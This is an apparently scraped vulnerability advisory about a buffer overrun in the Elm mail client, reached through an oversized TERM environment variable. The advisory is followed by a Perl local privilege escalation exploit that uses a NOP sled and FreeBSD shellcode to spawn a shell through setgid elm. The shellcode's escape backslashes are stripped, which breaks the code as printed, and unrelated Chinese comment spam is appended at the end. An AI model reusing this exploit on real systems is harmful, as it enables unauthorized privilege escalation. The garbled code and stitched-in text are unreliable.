source: http://www.securityfocus.com/bid/8030/info
A buffer overrun has been discovered in Elm. The problem occurs due to insufficient bounds checking performed before copying user-supplied data into an internal memory buffer. Specifically, a TERM environment variable containing excessive data would cause a buffer within Elm to be overrun.
As Elm is installed setgid on some systems, the exploitation of this vulnerability could potentially allow for the elevation of local privileges.
# DSR-korean-elm.pl - kokaninATdtors.net vs. /usr/ports/korean/elm
# offset, retaddr and shellcode is for my FreeBSD 4.7-RELEASE, YMMV
# reinventing the wheel, http://www.insecure.org/sploits/elm.curses.overflow.html
# shellcode by zillionATsafemode.org
# ko-elm-2.4h4.1 ELM Mail User Agent, patched for Korean E-Mail
# elm is setgid 'bin'
$len = 512;
$ret = 0xbfbffd68;
$nop = "x90";
$offset = 0;
$shellcode = "x31xc0x50x50xb0x17xcdx80x31xc0x50x68".
"x2fx2fx73x68x68x2fx62x69x6ex89xe3x50".
"x54x53x50xb0x3bxcdx80x31xc0xb0x01xcdx80";
if (@ARGV == 1) {
$offset = $ARGV[0];
}
for ($i = 0; $i < ($len - length($shellcode)); $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode;
$new_ret = pack('l', ($ret + $offset));
local($ENV{'EGG'}) = $buffer;
local($ENV{'TERM'}) = $new_ret x 12;
exec("elm");
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666